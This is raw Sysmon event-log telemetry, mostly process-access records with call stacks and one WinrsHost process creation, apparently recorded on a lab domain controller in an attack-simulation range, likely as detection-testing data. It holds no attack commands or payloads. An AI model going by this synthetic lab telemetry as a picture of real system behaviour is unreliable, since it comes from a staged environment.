09:08:44.487{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000562Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000561Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000560Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-272D-5F80-0C00-000000007E01}5721136C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000559Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-2724-5F80-0500-000000007E01}640656C:\Windows\system32\csrss.exe{A5F018FF-289C-5F80-1603-000000007E01}4292C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x8000000000000000558Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-289C-5F80-1603-000000007E01}4292C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\KERNEL32.DLL+1d37f|c:\windows\system32\rpcss.dll+35069|c:\windows\system32\rpcss.dll+3a852|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x8000000000000000557Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.492{A5F018FF-289C-5F80-1603-000000007E01}4292C:\Windows\System32\winrshost.exe10.0.14393.0 (rs1_release.160715-1616)Host Process for WinRM's Remote Shell pluginMicrosoft® Windows® Operating SystemMicrosoft Corporationwinrshost.exeC:\Windows\system32\WinrsHost.exe -EmbeddingC:\Windows\system32\ATTACKRANGE\Administrator{A5F018FF-289C-5F80-1F0C-120000000000}0x120c1f0HighMD5=F40EC96CA18D88CB1F26FA2070010714,SHA256=607C014A3CA531FFAD50BCD90095C01E4E6B691D9E18473C70E4699CF1E31453,IMPHASH=4216D8E7F36901B61DFD6309B49BCF96{A5F018FF-272D-5F80-0C00-000000007E01}572C:\Windows\System32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch 10341000x8000000000000000556Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000555Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000554Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.487{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000553Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.455{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000552Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.455{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000551Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.455{A5F018FF-272B-5F80-0B00-000000007E01}860604C:\Windows\system32\lsass.exe{A5F018FF-272E-5F80-1400-000000007E01}1348C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000550Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000549Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000548Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000547Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000546Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000545Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2729-5F80-0700-000000007E01}716C:\Windows\system32\wininit.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eacf|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000544Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-289B-5F80-0F03-000000007E01}42284256C:\Windows\system32\conhost.exe{A5F018FF-289C-5F80-1503-000000007E01}4412C:\Windows\system32\shutdown.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000543Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000542Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000541Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000540Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000539Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:08:44.409{A5F018FF-272D-5F80-0C00-000000007E01}572612C:\Windows\system32\svchost.exe{A5F018FF-2896-5F80-F402-000000007E01}4324C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x8000000000000000538Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 